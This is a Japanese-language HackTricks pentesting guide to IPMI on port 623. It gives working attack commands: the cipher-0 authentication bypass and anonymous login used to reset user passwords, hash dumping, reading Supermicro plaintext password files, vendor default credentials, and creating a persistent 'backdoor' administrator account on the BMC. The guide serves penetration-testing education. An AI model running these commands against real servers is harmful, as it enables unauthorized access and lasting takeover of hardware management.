hacktricks/network-services-pentesting/623-udp-ipmi.md

12 KiB
Raw Blame History

623/UDP/TCP - IPMI

623/UDP/TCP - IPMI

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

基本情報

IPMIの概要

インテリジェントプラットフォーム管理インターフェース (IPMI) は、オペレーティングシステムや電源状態に依存せず、コンピュータシステムのリモート管理と監視のための標準化されたアプローチを提供します。この技術により、システム管理者は、システムがオフまたは応答しない場合でも、リモートでシステムを管理でき、特に以下の用途に便利です:

  • OSブート前の設定
  • 電源管理
  • システム障害からの回復

IPMIは、温度、電圧、ファン速度、電源供給の監視が可能で、在庫情報の提供、ハードウェアログのレビュー、SNMPを介したアラートの送信も行います。その運用に必要なのは、電源とLAN接続です。

1998年にインテルによって導入されて以来、IPMIは多くのベンダーによってサポートされ、特にバージョン2.0のLAN経由のシリアルサポートにより、リモート管理機能が強化されました。主要なコンポーネントには以下が含まれます

  • ベースボード管理コントローラー (BMC) IPMI操作のための主要なマイクロコントローラー。
  • 通信バスとインターフェース: ICMB、IPMB、ローカルおよびネットワーク接続用のさまざまなインターフェースを含む内部および外部通信のためのもの。
  • IPMIメモリ ログとデータを保存するためのもの。

https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right

デフォルトポート: 623/UDP/TCP通常はUDPですが、TCPで動作している場合もあります

列挙

発見

nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

あなたはバージョンを次のようにして特定できます:

use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

IPMIの脆弱性

IPMI 2.0の領域では、Dan Farmerによって重要なセキュリティ欠陥が発見され、cipher type 0を通じて脆弱性が露呈しました。この脆弱性は、Dan Farmerの研究で詳細に文書化されており、有効なユーザーがターゲットにされる限り、任意のパスワードで不正アクセスを可能にします。この弱点は、HP、Dell、SupermicroなどのさまざまなBMCで見つかり、すべてのIPMI 2.0実装における広範な問題を示唆しています。

Cipher 0によるIPMI認証バイパス

この欠陥を検出するために、以下のMetasploit補助スキャナーを使用できます

use auxiliary/scanner/ipmi/ipmi_cipher_zero

この欠陥の悪用は、以下に示すように ipmitool を使用して実現可能であり、ユーザーパスワードのリスト表示と変更を可能にします:

apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password

IPMI 2.0 RAKP 認証リモートパスワードハッシュ取得

この脆弱性により、既存のユーザー名に対して塩を加えたハッシュ化されたパスワードMD5およびSHA1を取得できます。この脆弱性をテストするために、Metasploitはモジュールを提供しています

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

IPMI 匿名認証

多くの BMC のデフォルト設定では、ユーザー名とパスワードが空の「匿名」アクセスが許可されています。この設定は、ipmitool を使用して名前付きユーザーアカウントのパスワードをリセットするために悪用される可能性があります。

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword

Supermicro IPMI 平文パスワード

IPMI 2.0の重要な設計選択は、認証目的のためにBMC内に平文パスワードを保存する必要があります。Supermicroがこれらのパスワードを/nv/PSBlock/nv/PSStoreなどの場所に保存することは、重大なセキュリティ上の懸念を引き起こします:

cat /nv/PSBlock

Supermicro IPMI UPnPの脆弱性

SupermicroのIPMIファームウェアにUPnP SSDPリスナーが含まれていること、特にUDPポート1900での実装は、深刻なセキュリティリスクをもたらします。Rapid7の開示で詳述されているように、UPnPデバイス用のIntel SDKバージョン1.3.1の脆弱性により、BMCへのルートアクセスが可能になります。

msf> use exploit/multi/upnp/libupnp_ssdp_overflow

ブルートフォース

HPは製造時にその**Integrated Lights Out (iLO)**製品のデフォルトパスワードをランダム化します。この慣行は、静的デフォルト資格情報を使用する傾向のある他のメーカーとは対照的です。さまざまな製品のデフォルトユーザー名とパスワードの概要は以下の通りです:

  • **HP Integrated Lights Out (iLO)**は、工場でランダム化された8文字の文字列をデフォルトパスワードとして使用し、より高いセキュリティレベルを示しています。
  • DellのiDRAC、IBMのIMM、およびFujitsuのIntegrated Remote Management Controllerのような製品は、それぞれ「calvin」、「PASSW0RD」ゼロを含む、および「admin」のような簡単に推測可能なパスワードを使用しています。
  • 同様に、Supermicro IPMI (2.0)、Oracle/Sun ILOM、およびASUS iKVM BMCも「ADMIN」、「changeme」、および「admin」をパスワードとして使用するシンプルなデフォルト資格情報を持っています。

BMCを介してホストにアクセスする

Baseboard Management Controller (BMC)への管理アクセスは、ホストのオペレーティングシステムにアクセスするためのさまざまな経路を開きます。簡単なアプローチは、BMCのキーボード、ビデオ、マウスKVM機能を利用することです。これは、GRUBを介してホストをルートシェルに再起動するinit=/bin/shを使用か、リカバリディスクとして設定された仮想CD-ROMからブートすることで行えます。このような方法により、ホストのディスクを直接操作し、バックドアの挿入、データ抽出、またはセキュリティ評価のために必要な任意のアクションを実行できます。ただし、これはホストの再起動を必要とし、重大な欠点です。再起動せずに実行中のホストにアクセスすることはより複雑で、ホストの構成によって異なります。ホストの物理コンソールまたはシリアルコンソールがログインしたままであれば、BMCのKVMまたはシリアルオーバーLANsol機能を介してipmitoolを使用して簡単に乗っ取ることができます。i2cバスやSuper I/Oチップのような共有ハードウェアリソースの悪用を探ることは、さらなる調査が必要な分野です。

ホストからBMCにバックドアを導入する

BMCを装備したホストを侵害した場合、ローカルBMCインターフェースを利用してバックドアユーザーアカウントを挿入することができます。これにより、サーバー上に持続的な存在を作成します。この攻撃には、侵害されたホストに**ipmitool**が存在し、BMCドライバーサポートが有効である必要があります。以下のコマンドは、認証をバイパスしてホストのローカルインターフェースを使用してBMCに新しいユーザーアカウントを注入する方法を示しています。この技術は、Linux、Windows、BSD、さらにはDOSを含む広範なオペレーティングシステムに適用可能です。

ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • port:623

References

{% hint style="success" %} AWSハッキングを学び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践するHackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする
{% endhint %}